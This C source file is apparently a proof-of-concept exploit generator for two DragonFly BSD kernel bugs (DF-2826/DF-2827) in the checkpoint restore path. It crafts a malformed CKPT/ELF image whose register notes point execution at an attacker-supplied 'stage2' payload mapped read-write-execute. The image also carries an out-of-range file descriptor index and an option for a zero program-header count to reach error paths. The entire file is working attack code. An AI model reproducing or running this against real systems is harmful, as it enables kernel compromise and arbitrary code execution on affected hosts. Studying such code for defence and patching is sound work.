DF-2826 / gen.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 | /* * DF-2826 / DF-2827 checkpoint-image generator. * * Builds a DragonFly checkpoint (CKPT) image with the exact sequential * layout consumed by ckpt_thaw_proc() (sys/kern/kern_checkpoint.c): * * Elf64_Ehdr | Elf64_Pdr[e_phnum] | notes(phdr[0].p_filesz) * | ckpt_vminfo | int vpcount | ckpt_siginfo * | ckpt_filehdr | ckpt_fileinfo[n] | <pad to page> | segment data... * * Sizes of kernel-only structures are taken from the guest's own headers * via _KERNEL_STRUCTURES, so they always match the running kernel. * * Usage: * gen ckpt_file stage2.bin phnum_mode * phnum_mode = normal | zero (zero => e_phnum = 0 for DF-2827) */ #define _KERNEL_STRUCTURES #include <sys/types.h> #include <sys/param.h> #include <sys/mount.h> /* fhandle_t */ #include <sys/elf_common.h> #include <sys/elf64.h> typedef Elf64_Ehdr Elf_Ehdr; typedef Elf64_Phdr Elf_Phdr; typedef Elf64_Word Elf_Word_SZ; #define __ELF_WORD_SIZE 64 #include <sys/ckpt.h> /* ckpt_vminfo, ckpt_siginfo, ckpt_filehdr, ... */ #include <sys/procfs.h> /* prstatus_t, prpsinfo_t */ #include <machine/reg.h> /* struct reg, struct fpreg */ #include <sys/fcntl.h> #include <sys/stat.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int getfh(const char *, fhandle_t *); /* restored-program layout */ #define STAGE2_ADDR 0x60000000ul #define STACK_ADDR 0x60001000ul #define STACK_TOP (STACK_ADDR + 0x1000 - 8) static void putnote(FILE *f, size_t *off, int type, const void *desc, size_t descsz) { Elf_Note n; const char *name = "CORE"; size_t namesz = strlen(name) + 1; n.n_namesz = namesz; n.n_descsz = descsz; n.n_type = type; fwrite(&n, sizeof(n), 1, f); *off += sizeof(n); fwrite(name, namesz, 1, f); *off += namesz; *off = roundup2(*off, sizeof(Elf_Word_SZ)); fseek(f, (long)*off, SEEK_SET); fwrite(desc, descsz, 1, f); *off += descsz; *off = roundup2(*off, sizeof(Elf_Word_SZ)); fseek(f, (long)*off, SEEK_SET); } static void die(const char *m) { perror(m); exit(1); } int main(int argc, char **argv) { FILE *f, *sf; struct stat st; unsigned char *s2; size_t s2len; size_t off = 0; int zero_phnum = 0; int nphdr; long data_off; long stack_off; Elf_Ehdr eh; Elf_Phdr ph[4]; prpsinfo_t psi; prstatus_t pst; prfpregset_t fpr; struct ckpt_vminfo vmi; struct ckpt_siginfo csi; struct ckpt_filehdr cfh; struct ckpt_fileinfo cfi; fhandle_t fh; int vpcount = 0; unsigned long entry = STAGE2_ADDR; int nfiles = 1; if (argc < 3) { fprintf(stderr, "usage: gen out.ckpt stage2.bin [zero] [entry] [nfiles]\n"); return 1; } if (argc > 3 && strcmp(argv[3], "zero") == 0) zero_phnum = 1; if (argc > 4) entry = strtoul(argv[4], NULL, 0); if (argc > 5) nfiles = atoi(argv[5]); /* stage2 blob */ if (stat(argv[2], &st) < 0) die("stat stage2"); s2len = st.st_size; s2 = malloc(s2len); sf = fopen(argv[2], "r"); if (!sf) die("open stage2"); if (fread(s2, 1, s2len, sf) != s2len) { fprintf(stderr, "read s2\n"); return 1; } fclose(sf); /* a valid file handle so ckpt_fhtovp()+fp_vpopen() succeed */ if (getfh("/etc/passwd", &fh) < 0) die("getfh"); f = fopen(argv[1], "w+"); if (!f) die("fopen out"); /* ---- notes ---- */ memset(&psi, 0, sizeof(psi)); psi.pr_version = PRPSINFO_VERSION; psi.pr_psinfosz = sizeof(prpsinfo_t); strcpy(psi.pr_fname, "stage2"); memset(&pst, 0, sizeof(pst)); pst.pr_version = PRSTATUS_VERSION; pst.pr_statussz = sizeof(prstatus_t); pst.pr_gregsetsz = sizeof(struct reg); /* gregset_t */ pst.pr_fpregsetsz = sizeof(struct fpreg); /* fpregset_t */ pst.pr_pid = 666; pst.pr_reg.r_rip = entry; pst.pr_reg.r_rsp = STACK_TOP; pst.pr_reg.r_cs = 0x2b; /* GUCODE sel, RPL 3 -> CS_SECURE ok */ pst.pr_reg.r_ss = 0x33; /* GUDATA sel */ pst.pr_reg.r_rflags = 0x202; /* IF | 1, user-changeable bits only */ pst.pr_reg.r_rdi = 0; pst.pr_reg.r_rsi = 0; memset(&fpr, 0, sizeof(fpr)); /* layout offsets */ nphdr = zero_phnum ? 1 : 3; /* [0]=NOTE [1]=stage2 LOAD [2]=stack LOAD */ off = sizeof(Elf_Ehdr) + nphdr * sizeof(Elf_Phdr); size_t noteoff = off; fseek(f, (long)noteoff, SEEK_SET); /* seek into reserved hdr space */ putnote(f, &off, NT_PRPSINFO, &psi, sizeof(psi)); putnote(f, &off, NT_PRSTATUS, &pst, sizeof(pst)); putnote(f, &off, NT_FPREGSET, &fpr, sizeof(fpr)); size_t notesz = off - noteoff; /* ---- vminfo ---- */ memset(&vmi, 0, sizeof(vmi)); vmi.cvm_dsize = 1; /* pages, >= 0, < rlimit */ vmi.cvm_tsize = 1; vmi.cvm_daddr = (caddr_t)0x80000000ul; vmi.cvm_taddr = (caddr_t)0x400000ul; fwrite(&vmi, sizeof(vmi), 1, f); off += sizeof(vmi); /* ---- vpcount = 0 ---- */ fwrite(&vpcount, sizeof(int), 1, f); off += sizeof(int); /* ---- siginfo ---- */ memset(&csi, 0, sizeof(csi)); csi.csi_ckptpisz = sizeof(struct ckpt_siginfo); fwrite(&csi, sizeof(csi), 1, f); off += sizeof(csi); /* ---- filehdr + one normal cfi with an out-of-range index ---- */ memset(&cfh, 0, sizeof(cfh)); cfh.cfh_nfiles = nfiles; fwrite(&cfh, sizeof(cfh), 1, f); off += sizeof(cfh); memset(&cfi, 0, sizeof(cfi)); cfi.cfi_index = 0x7fffffff; /* fdalloc() -> EINVAL for sure */ cfi.cfi_flags = 0; /* O_RDONLY */ cfi.cfi_offset = 0; cfi.cfi_fh = fh; /* valid -> fhtovp+vpopen succeed */ cfi.cfi_type = 1; /* DTYPE_VNODE */ cfi.cfi_ckflags = 0; /* normal entry (NOT ISCKPTFD) */ fwrite(&cfi, sizeof(cfi), 1, f); off += sizeof(cfi); /* ---- pad to page, segment data ---- */ off = roundup2(off, PAGE_SIZE); fseek(f, (long)off, SEEK_SET); data_off = (long)off; fwrite(s2, 1, s2len, f); /* stack page must be page-congruent with its vaddr */ off = roundup2(off + s2len, PAGE_SIZE); fseek(f, (long)off, SEEK_SET); stack_off = (long)off; static const char zpage[4096] = {0}; fwrite(zpage, 1, sizeof(zpage), f); off += sizeof(zpage); /* ---- headers ---- */ memset(&eh, 0, sizeof(eh)); eh.e_ident[EI_MAG0] = ELFMAG0; eh.e_ident[EI_MAG1] = ELFMAG1; eh.e_ident[EI_MAG2] = ELFMAG2; eh.e_ident[EI_MAG3] = ELFMAG3; eh.e_ident[EI_CLASS] = ELFCLASS64; eh.e_ident[EI_DATA] = ELFDATA2LSB; eh.e_ident[EI_VERSION] = EV_CURRENT; eh.e_ident[EI_OSABI] = ELFOSABI_NONE; eh.e_ident[EI_ABIVERSION] = 0; eh.e_type = ET_CORE; eh.e_machine = EM_X86_64; eh.e_version = EV_CURRENT; eh.e_ehsize = sizeof(Elf_Ehdr); eh.e_phentsize = sizeof(Elf_Phdr); eh.e_phnum = (zero_phnum) ? 0 : nphdr; eh.e_phoff = sizeof(Elf_Ehdr); memset(ph, 0, sizeof(ph)); ph[0].p_type = PT_NOTE; ph[0].p_offset = noteoff; ph[0].p_filesz = notesz; ph[0].p_memsz = 0; ph[1].p_type = PT_LOAD; ph[1].p_flags = PF_R | PF_W | PF_X; ph[1].p_offset = data_off; ph[1].p_vaddr = STAGE2_ADDR; ph[1].p_filesz = s2len; ph[1].p_memsz = s2len; ph[2].p_type = PT_LOAD; ph[2].p_flags = PF_R | PF_W; ph[2].p_offset = stack_off; ph[2].p_vaddr = STACK_ADDR; ph[2].p_filesz = 4096; ph[2].p_memsz = 4096; fseek(f, 0, SEEK_SET); fwrite(&eh, sizeof(eh), 1, f); /* with e_phnum == 0 the reader still reads nbyte = 0 phdrs (no read at * all), so writing the phdr table is harmless for the zero case. */ fwrite(ph, sizeof(Elf_Phdr), (zero_phnum ? 0 : nphdr), f); fclose(f); fprintf(stderr, "gen: wrote %s notesz=%zu psinfo=%zu prstatus=%zu fpreg=%zu " "vminfo=%zu siginfo=%zu filehdr=%zu fileinfo=%zu fh=%zu reg=%zu\n", argv[1], notesz, sizeof(prpsinfo_t), sizeof(prstatus_t), sizeof(prfpregset_t), sizeof(struct ckpt_vminfo), sizeof(struct ckpt_siginfo), sizeof(struct ckpt_filehdr), sizeof(struct ckpt_fileinfo), sizeof(fhandle_t), sizeof(struct reg)); return 0; } |